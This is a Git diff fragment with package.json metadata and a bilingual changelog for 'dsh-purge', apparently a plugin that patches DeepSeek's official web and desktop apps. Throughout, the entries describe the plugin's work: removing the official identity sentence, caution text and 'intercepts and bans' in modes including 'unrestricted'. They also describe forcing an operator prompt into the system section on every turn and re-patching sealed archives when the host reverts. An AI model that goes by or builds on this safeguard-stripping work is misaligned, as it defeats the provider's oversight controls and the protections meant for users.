"tarball": "https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz",
|
||||
"zip": "https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.zip",
|
||||
"git": "https://github.com/YuJunZhiXue/dsh-purge.git"
|
||||
}
|
||||
},
|
||||
"publishConfig": {
|
||||
"access": "public"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@deepseek-ai/cordis": "^4.0.1"
|
||||
},
|
||||
|
||||
@@ -1,3 +1,191 @@
|
||||
# 1.1.59
|
||||
|
||||
## 中文
|
||||
|
||||
- 版本升级到 1.1.59。
|
||||
- 点应用后不再因为宿主路径或旧标记对不上,就报「清洗没有写进当前宿主」(#65)。
|
||||
- `resources\app\node_modules` 和 `resources\app\dsh\node_modules` 都认。原文里已经没有官方身份句、也没有丢掉注入的写法时,不再要求那两条标记。
|
||||
- complete 段补丁同时认 tab 和空格。
|
||||
|
||||
## English
|
||||
|
||||
- Version 1.1.59.
|
||||
- Apply no longer reports that the clean missed the current host just because the package path or the old markers do not match (#65).
|
||||
- Both `resources/app/node_modules` and `resources/app/dsh/node_modules` count. If the official identity sentence and the inject-dropping return are already gone, those two markers are not required.
|
||||
- The complete-prompt patch matches both tab and space indentation.
|
||||
|
||||
# 1.1.58
|
||||
|
||||
## 中文
|
||||
|
||||
- 版本升级到 1.1.58。
|
||||
- 打开、应用、重启都会挂上提示词。磁盘上有正文就用磁盘,没有就用规则集,再没有就用内置默认,不用再点保存。
|
||||
- 启动不再在页面发出之后改写前端 client.js,避免输入框因模块版本号对不上而消失(#63)。
|
||||
- macOS / Linux 已解包桌面端点应用后会退出并重新打开;清洗标记两种写法都认(#64)。
|
||||
|
||||
## English
|
||||
|
||||
- Version 1.1.58.
|
||||
- Open, Apply, and restart all hang the prompt. A saved file wins, then the active rule set, then the built-in default. Save is not required.
|
||||
- Startup no longer rewrites frontend client.js after the page has taken a module revision, so the composer does not disappear (#63).
|
||||
- Unpacked macOS and Linux desktop builds quit and relaunch after Apply. Both inject markers count as clean (#64).
|
||||
|
||||
# 1.1.57
|
||||
|
||||
## 中文
|
||||
|
||||
- 版本升级到 1.1.57。
|
||||
- 应用并重启后,设置框里的提示词直接挂到系统段;框空则用当前规则集。两者都空就停下来要求输入。
|
||||
- 创造、PTC、极简、unrestricted、梁神与标准模式一样清掉拦截和禁止,并保住各自的工具流程。
|
||||
- 演练授权按本机目录保存,更新后不用重授权;卸载成功后才清掉。空的环境初始化不再当成已配置。
|
||||
- 官方 Messages 请求的 system 字段改用当前系统提示,不再钉住第一条。
|
||||
|
||||
## English
|
||||
|
||||
- Version 1.1.57.
|
||||
- After Apply and restart, the settings-box prompt is hung on the system section. An empty box uses the active rule set. If both are empty, Apply stops and asks for a prompt.
|
||||
- Cordis, PTC, minimal, unrestricted, and Liangshen clear intercepts and bans the same way standard does, and keep their own tools.
|
||||
- Drill authorization is stored in this install and survives updates. It is cleared only after uninstall succeeds. An empty environment init is no longer treated as configured.
|
||||
- The official Messages request system field uses the current system prompt instead of the first snapshot.
|
||||
|
||||
# 1.1.56
|
||||
|
||||
## 中文
|
||||
|
||||
- 版本升级到 1.1.56。
|
||||
- 应用按设置框、当前规则集、官方系统提示词的顺序选用。空框且没有规则时停下来要求输入,不再把内置默认写进磁盘。
|
||||
- 清洗和演练台跟随 DSH 主题的透明玻璃,去掉手动换色。
|
||||
- 说明只保留官方 Web 和官方桌面。
|
||||
|
||||
## English
|
||||
|
||||
- Version 1.1.56.
|
||||
- Apply uses the settings box, then the active rule set, then the official system prompt. An empty box with no rules asks for a prompt and does not write the built-in default to disk.
|
||||
- 清洗 and the drill console use transparent glass that follows the DSH theme. The manual theme switch is gone.
|
||||
- Docs keep official Web and the official desktop only.
|
||||
|
||||
# 1.1.55
|
||||
|
||||
## 中文
|
||||
|
||||
- 版本升级到 1.1.55。
|
||||
- 点「应用」并重启后,每一轮 assemble 都会把提示词补回最前;宿主换成新 assemble 也会再包一次,不会第二轮丢掉。
|
||||
- 空框不再在前端误取消应用;重启前先落下默认提示词。密封 asar 不会因为当前进程还是旧包而取消重启。
|
||||
- 第二次应用不会因为冷却把重启/注入当成取消;密封包在换掉之前每次应用都会重启一次,补丁写完后不再空转。
|
||||
|
||||
## English
|
||||
|
||||
- Version 1.1.55.
|
||||
- After Apply + restart, every assemble turn puts the operator prompt back at the front. If the host replaces assemble, it is wrapped again so turn 2 does not drop the inject.
|
||||
- An empty settings box no longer cancels Apply on the client; Restart seeds the default prompt first. A sealed asar no longer cancels restart just because the running process still has the old archive.
|
||||
- A second Apply is not treated as a cancel because of settle cooldown. A sealed archive still restarts on each Apply until swapped; after patches are in, it does not loop.
|
||||
|
||||
# 1.1.54
|
||||
|
||||
## 中文
|
||||
|
||||
- 版本升级到 1.1.54。
|
||||
- 官方桌面密封 asar 启动不再中途解包/杀进程:避开 Host Fiber._reload 的 INACTIVE_EFFECT / DesktopHostFatalError;补丁留给设置页「应用」。
|
||||
- 桌面 settle 延后并在 context 停用时退出;启动自愈只写盘、不 scheduleRestart(#59 / #60 / #61)。
|
||||
- 市场 tar 安装与空 sha / 缺 installed-rev 的无限重启修复仍在(#58–#61,1.1.53)。
|
||||
|
||||
## English
|
||||
|
||||
- Version 1.1.54.
|
||||
- Official desktop no longer unpacks or kills the host mid-boot on a sealed asar; that raced Fiber._reload and threw INACTIVE_EFFECT / DesktopHostFatalError. Patches wait for Settings Apply.
|
||||
- Desktop settle is delayed and aborts on an inactive context; startup self-heal writes files only and does not scheduleRestart (#59 / #60 / #61).
|
||||
- Marketplace tarball install and empty-sha / missing installed-rev restart loops remain fixed (#58–#61, 1.1.53).
|
||||
|
||||
# 1.1.53
|
||||
|
||||
## 中文
|
||||
|
||||
- 版本升级到 1.1.53。
|
||||
- 修复点「应用」后无限重启(#59 / #60 / #61):tarball 安装没有 `installed-rev`、或 `applied.json` 空 sha 时,启动不再反复 reapply+restart;对齐后不再空转重启,并加冷却。
|
||||
- web 自愈重启不再自动弹浏览器,关窗后不会再被反复拉起新窗口(#59 / #61)。
|
||||
- 空 sha 只在非密封、且清洗标记还在(或找不到插件根)时补戳,避免冲掉密封宿主自愈(#56 / #57)。
|
||||
- 市场安装:`package.json` 标明优先 tar.gz/zip,避免 Hub 退回 `git ls-remote` 失败(#58)。
|
||||
|
||||
## English
|
||||
|
||||
- Version 1.1.53.
|
||||
- Stop Apply/startup infinite restart (#59 / #60 / #61): missing `installed-rev` after tarball install or empty `applied.json` sha no longer reapply+restart every boot; skip restart once aligned, with a cooldown.
|
||||
- Web self-heal restart does not open a browser, so closing the window no longer respawns tabs (#59 / #61).
|
||||
- Empty-sha heal only runs when the host is not sealed and markers are present (or the plugin root is missing), so sealed-host self-heal still works (#56 / #57).
|
||||
- Marketplace install prefers tar.gz/zip in `package.json` so Hub does not fall back to a failing `git ls-remote` (#58).
|
||||
|
||||
# 1.1.52
|
||||
|
||||
## 中文
|
||||
|
||||
- 版本升级到 1.1.52。
|
||||
- 官方桌面「应用/重启」不再自动跑官方 installer(#57):宿主版本由用户自行升级;插件只解包打补丁,避免落盘前误判失败清掉 `resources\\app`。
|
||||
- 有 `applied.json` 但宿主又回到 sealed / 找不到插件根时,判定未对齐并自愈重打;面板提示「补丁已丢失,请重新应用」。
|
||||
- 插件启动路径永不自动更新,仅面板手动更新。
|
||||
- 默认提示词按本地 `default-prompt-inject.md` 重新加密写入 `asset-table.js`。
|
||||
- 用户自改提示词不会被「应用」盖回加密默认:磁盘正文与内置不同时一律保留;运行时内置默认只读加密槽。
|
||||
- 回退切点扩到整轮并在替换后清空 derive 缓存,避免下次发送仍带上被撤掉的内容。
|
||||
|
||||
## English
|
||||
|
||||
- Version 1.1.52.
|
||||
- Official desktop Apply/Restart no longer auto-runs the official installer (#57); users upgrade the host themselves; the plugin only unpacks and patches.
|
||||
- If `applied.json` exists but the host is sealed again / plugin root is missing, treat as mismatched and reapply; UI shows patches-lost.
|
||||
- Plugin startup never auto-updates; update only from the panel.
|
||||
- Reseal the default prompt from local `default-prompt-inject.md` into `asset-table.js`.
|
||||
- Keep user-replaced prompts: never overwrite disk text that differs from the bundled sealed default; runtime bundled default comes only from the sealed slot.
|
||||
- Rewind cuts the whole last turn and invalidates derive cache so the next send does not keep undone content.
|
||||
|
||||
# 1.1.51
|
||||
|
||||
## 中文
|
||||
|
||||
- 版本升级到 1.1.51。
|
||||
- 修复 `/skills import` 对 `$DSH_HOME/skills` 自身导入时先删后拷把技能删空(#54)。
|
||||
- 补齐 `platformEnvAdaptStatus` / `platformEnvAdaptSkip`,发送门禁不再误报「环境还没配好」(#55)。
|
||||
- 修复官方桌面:无版本/同版本 `installer.exe` 被当成待更新劫持重启;更新失败时恢复 `resources/app`;空 sha 的 applied stamp 不再跳过 reapply(#56,0.1.7/0.2 同路径)。
|
||||
- 补丁 #52 兼容无 `.volatile()` 写法;#57 跟到 `useDeveloperRole` 并覆盖 responses 通路;#48 上游已删句按软完成;状态导出 `patches_ready`;桌面端 shim 显示「本端不需要」。
|
||||
|
||||
## English
|
||||
|
||||
- Version 1.1.51.
|
||||
- Reject `/skills import` when source overlaps `$DSH_HOME/skills` so delete-then-copy cannot wipe skills (#54).
|
||||
- Implement `platformEnvAdaptStatus` / `platformEnvAdaptSkip` so the send gate no longer false-blocks ready environments (#55).
|
||||
- Official desktop: ignore unversioned/same-version `installer.exe` pending updates; restore `resources/app` if update handoff fails; empty applied stamp sha no longer skips reapply (#56, same path on 0.1.7 and 0.2).
|
||||
- Patch #52 matches non-`.volatile()` defaults; #57 follows `useDeveloperRole` and covers responses; #48 soft-settles when upstream removed the caution text; export `patches_ready`; desktop shim shows not-needed-here.
|
||||
|
||||
# 1.1.50
|
||||
|
||||
## 中文
|
||||
|
||||
- 版本升级到 1.1.50。
|
||||
- 修复 macOS 官方桌面:点「应用」假失败「失败: 正在重启。」、解包后 `dsh` CLI 失效、status 误标 ✗(#53)。
|
||||
- 修复点「应用」重启后默认提示词不注入:未改过时自动落盘内置默认,不必先点保存。
|
||||
|
||||
## English
|
||||
|
||||
- Version 1.1.50.
|
||||
- Fix macOS official desktop: Apply false "Failed: Restarting.", broken `dsh` CLI after asar unpack, and status ✗ false negatives (#53).
|
||||
- Fix default prompt not injecting after Apply + restart; bundled default is written without requiring Save first.
|
||||
|
||||
# 1.1.49-beta.1
|
||||
|
||||
## 中文
|
||||
|
||||
- 版本升级到 1.1.49-beta.1(#53 测试版)。
|
||||
- 修复 macOS 官方桌面点「应用」后假失败「失败: 正在重启。」:`scheduleRestart` helper/runtime 分支补回 `restarting: true`;Darwin 重启改为 osascript 优雅退出 + SIGTERM/SIGKILL,排除 CLI 进程后再 `open` 重开(剥掉 ELECTRON_RUN_AS_NODE)。
|
||||
- 解包 app.asar 后自动修补官方 `dsh` CLI 入口(asar/`app/` 回退)并补 `app/runtime -> ../runtime`,避免 `dsh web` 等全部 MODULE_NOT_FOUND。
|
||||
- `/purge status` 对多路径文件清单按数组逐项判断,不再把已打补丁文件标成 ✗。
|
||||
- 前端重启失败文案不再把成功分支的 note 当成 error。
|
||||
|
||||
## English
|
||||
|
||||
- Version 1.1.49-beta.1 (prerelease for #53).
|
||||
- Fix macOS official desktop Apply false failure "Failed: Restarting.": helper/runtime branches of scheduleRestart return restarting:true; Darwin restart uses osascript quit then SIGTERM/SIGKILL, skips CLI processes, relaunches via open without ELECTRON_RUN_AS_NODE.
|
||||
- After unpacking app.asar, auto-patch the official dsh CLI entry (asar/app fallback) and add app/runtime -> ../runtime so dsh web and other subcommands keep working.
|
||||
- /purge status treats multi-path file lists correctly instead of marking patched files as missing.
|
||||
- Restart failure UI no longer uses the success note as the error detail.
|
||||
|
||||
# 1.1.48
|
||||
|
||||
## 中文
|
||||
|
||||
Reference in new issue
Block a user